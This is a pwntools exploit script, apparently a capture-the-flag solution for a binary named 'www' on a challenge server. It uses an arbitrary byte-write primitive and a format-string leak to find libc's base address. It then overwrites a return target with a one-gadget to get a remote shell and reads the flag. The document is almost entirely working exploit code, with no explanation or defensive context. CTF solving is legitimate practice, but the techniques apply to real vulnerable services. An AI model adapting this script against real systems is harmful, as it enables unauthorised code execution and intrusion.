```python

from pwn import *

def write(anything, anywhere):

p.sendline(str(anywhere + 0))
p.sendline(chr((anything & 0xff) >> 0))

p.sendline(str(anywhere + 1))
p.sendline(chr((anything & 0xff00) >> 8))

p.sendline(str(anywhere + 2))
p.sendline(chr((anything & 0xff0000) >> 16))

p.sendline(str(anywhere + 3))
p.sendline(chr((anything & 0xff000000) >> 24))

p.sendline(str(anywhere + 4))
p.sendline(chr((anything & 0xff00000000) >> 32))

p.sendline(str(anywhere + 5))
p.sendline(chr((anything & 0xff0000000000) >> 40))

p.sendline(str(anywhere + 6))
p.sendline(chr((anything & 0xff000000000000) >> 48))

p.sendline(str(anywhere + 7))
p.sendline(chr((anything & 0xff00000000000000) >> 56))

p = remote('challenges1.hexionteam.com', 3002)

# context.terminal = ["tmux", "splitw", "-h"]
# p = gdb.debug('./www', env={'LD_PRELOAD' : './libc'})

printf = 0x601020
main = 0x400778
ret = 0x40056e

p.sendline('-7')
p.sendline('\xff')

p.sendline('0')
p.sendline('%')

p.sendline('1')
p.sendline('2')

p.sendline('2')
p.sendline('9')

p.sendline('3')
p.sendline('$')

p.sendline('4')
p.sendline('p')

write(ret, 45)
write(main, 53)

p.sendline('-7')
p.sendline('\x00')

data = p.recvuntil('!')

libc_base = int(data.split()[0], 16) - 0x401733
gadget = libc_base + 0x4f2c5

log.info('libc_base: %s' % hex(libc_base))
log.info('gadget: %s' % hex(gadget))

p.sendline('-7')
p.sendline('\xff')

write(gadget, 45)

p.sendline('-7')
p.sendline('\x00')

p.recvuntil('!')

p.sendline('cat flag')

print p.recvline().split()[0]
```